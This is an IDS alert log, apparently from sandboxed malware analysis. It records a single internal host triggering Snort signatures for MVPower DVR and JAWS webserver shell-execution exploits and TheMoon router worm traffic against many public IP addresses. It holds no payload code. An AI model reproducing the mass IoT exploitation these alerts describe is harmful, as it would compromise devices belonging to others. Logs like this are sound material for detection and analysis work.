Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:36926 -> 23.73.42.185:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33504 -> 27.110.79.189:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:46394 -> 173.254.50.86:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33442 -> 159.223.44.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60486 -> 191.61.175.37:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53390 -> 45.178.180.107:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:45660 -> 112.196.45.1:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33504 -> 27.110.79.189:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33442 -> 159.223.44.183:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:45660 -> 112.196.45.1:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:39584 -> 172.64.82.38:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:53470 -> 172.65.179.183:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33544 -> 45.58.134.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35934 -> 72.246.145.192:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48980 -> 85.204.127.221:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 72.246.145.192:80 -> 192.168.2.20:35934
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:45324 -> 40.114.127.145:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59916 -> 104.114.39.66:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53714 -> 23.217.133.129:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:45324 -> 40.114.127.145:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.114.39.66:80 -> 192.168.2.20:59916
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59916 -> 104.114.39.66:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54948 -> 54.204.192.215:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36922 -> 156.224.38.78:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49204 -> 160.124.187.47:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:53650 -> 23.217.133.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:39946 -> 110.42.138.184:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54948 -> 38.140.45.74:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:43226 -> 172.104.65.176:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:53714 -> 23.217.133.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38516 -> 54.239.171.77:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59854 -> 85.128.172.14:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56946 -> 138.4.53.229:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51968 -> 20.47.21.82:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59618 -> 154.124.98.135:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59854 -> 85.128.172.14:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59784 -> 52.88.116.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:44894 -> 104.19.7.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:44894 -> 104.19.7.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59618 -> 154.124.98.135:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38008 -> 23.55.71.29:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38388 -> 184.50.16.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42562 -> 69.89.12.142:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59774 -> 121.46.81.201:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59784 -> 52.88.116.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55532 -> 156.235.207.110:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35254 -> 54.92.121.107:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.55.71.29:80 -> 192.168.2.20:38008
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:38008 -> 23.55.71.29:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:45056 -> 192.185.235.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33310 -> 104.111.17.197:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55532 -> 202.188.81.188:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:45056 -> 192.185.235.124:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.111.17.197:80 -> 192.168.2.20:33310
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33310 -> 104.111.17.197:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 184.50.16.132:80 -> 192.168.2.20:38388
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:38388 -> 184.50.16.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54916 -> 104.94.34.75:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:52088 -> 172.67.40.39:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:58732 -> 172.65.151.85:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:48474 -> 172.65.124.17:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:55532 -> 202.188.81.188:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.94.34.75:80 -> 192.168.2.20:54916
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:54916 -> 104.94.34.75:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:58560 -> 172.65.108.53:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:47322 -> 172.104.40.215:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52874 -> 23.215.82.74:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36868 -> 163.191.6.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49804 -> 194.182.161.151:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38990 -> 157.97.47.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56690 -> 173.166.205.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49050 -> 89.234.23.241:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:49050 -> 89.234.23.241:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.215.82.74:80 -> 192.168.2.20:52874
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52874 -> 23.215.82.74:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51466 -> 186.224.120.157:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48352 -> 142.75.232.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33362 -> 13.82.27.22:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:47348 -> 192.203.155.19:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:39646 -> 191.186.88.68:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:33108 -> 172.65.29.220:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:32944 -> 172.87.79.136:8080
Source: Traffic	Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 81.170.200.210: -> 192.168.2.20:
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53914 -> 52.95.143.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52918 -> 54.77.149.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58614 -> 174.129.227.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33326 -> 34.196.80.250:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48928 -> 69.192.203.44:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40874 -> 23.230.6.72:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:43170 -> 50.117.76.173:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:47626 -> 92.46.196.139:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:43450 -> 23.9.163.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58364 -> 143.204.164.97:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 69.192.203.44:80 -> 192.168.2.20:48928
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50222 -> 193.158.40.37:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:47626 -> 92.46.196.139:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:40874 -> 23.230.6.72:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:43170 -> 50.117.76.173:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52542 -> 70.96.223.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35890 -> 154.214.180.107:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:58364 -> 143.204.164.97:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42802 -> 124.146.197.87:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52436 -> 59.127.96.32:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.9.163.28:80 -> 192.168.2.20:43450
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52436 -> 59.127.96.32:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37252 -> 168.76.123.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55056 -> 168.206.41.68:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:57736 -> 172.67.43.46:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:59148 -> 172.64.129.76:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:37252 -> 168.76.123.228:80
Source: Traffic	Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 206.75.143.22: -> 192.168.2.20:
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:57542 -> 172.65.238.37:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:38270 -> 172.65.253.57:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57822 -> 188.166.12.170:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58300 -> 79.202.39.56:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38262 -> 172.65.68.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56272 -> 31.210.107.197:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33426 -> 23.55.148.58:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:38262 -> 172.65.68.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55148 -> 185.57.35.95:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:56272 -> 31.210.107.197:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60014 -> 23.60.62.186:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:55148 -> 185.57.35.95:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50214 -> 35.196.232.77:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51924 -> 104.251.49.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56996 -> 35.155.245.141:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53958 -> 85.133.224.163:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33418 -> 104.110.150.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35990 -> 154.214.180.107:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60180 -> 204.145.171.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:45844 -> 42.240.149.208:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55350 -> 178.91.60.176:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.60.62.186:80 -> 192.168.2.20:60014
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:60014 -> 23.60.62.186:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40334 -> 184.26.247.8:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.110.150.249:80 -> 192.168.2.20:33418
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33418 -> 104.110.150.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40266 -> 206.201.133.29:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:55350 -> 178.91.60.176:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:60180 -> 204.145.171.238:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 184.26.247.8:80 -> 192.168.2.20:40334
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:40334 -> 184.26.247.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52542 -> 70.96.223.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48106 -> 37.220.100.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:47944 -> 212.83.170.30:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:48106 -> 37.220.100.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55082 -> 64.192.130.69:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38528 -> 72.10.48.131:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42410 -> 107.172.228.18:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:55082 -> 64.192.130.69:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:43952 -> 139.129.155.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36136 -> 202.45.144.134:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:42410 -> 107.172.228.18:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:34382 -> 172.65.175.144:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:55630 -> 172.65.12.188:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60520 -> 103.172.199.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:45528 -> 104.165.25.212:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50214 -> 12.172.162.19:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:45528 -> 104.165.25.212:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:60520 -> 103.172.199.67:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:49304 -> 172.65.34.122:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:35970 -> 172.67.240.162:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:42362 -> 172.65.233.151:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:43618 -> 35.186.245.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34068 -> 192.236.155.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58352 -> 185.28.62.211:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46740 -> 188.40.93.81:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:46740 -> 188.40.93.81:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33010 -> 132.226.162.171:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:44950 -> 108.156.94.169:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51508 -> 45.72.1.61:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37996 -> 8.140.183.93:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:43930 -> 104.118.157.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53004 -> 223.7.0.154:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 45.72.1.61:80 -> 192.168.2.20:51508
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.118.157.90:80 -> 192.168.2.20:43930
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:49250 -> 172.65.15.222:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40622 -> 104.16.1.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:40622 -> 104.16.1.80:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:41416 -> 172.67.29.102:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:41416 -> 172.67.29.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52114 -> 23.210.193.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34122 -> 184.50.56.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60334 -> 50.87.196.181:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 184.50.56.113:80 -> 192.168.2.20:34122
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55604 -> 72.34.51.39:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60630 -> 20.203.177.234:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37896 -> 79.133.211.245:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58734 -> 109.232.51.242:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52146 -> 23.210.193.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57220 -> 156.255.39.176:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:55604 -> 72.34.51.39:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57932 -> 76.80.227.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56816 -> 124.224.8.234:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34858 -> 50.28.57.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59962 -> 104.113.227.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33982 -> 104.71.108.105:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:34858 -> 50.28.57.8:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.113.227.62:80 -> 192.168.2.20:59962
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59962 -> 104.113.227.62:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:57932 -> 76.80.227.219:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.71.108.105:80 -> 192.168.2.20:33982
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:60334 -> 50.87.196.181:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:55804 -> 172.67.9.112:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:43278 -> 172.67.44.43:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:50610 -> 172.67.218.159:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57924 -> 105.155.97.209:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:57924 -> 105.155.97.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55062 -> 41.225.247.89:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35594 -> 40.121.4.82:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36828 -> 122.114.10.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38626 -> 168.121.137.96:80
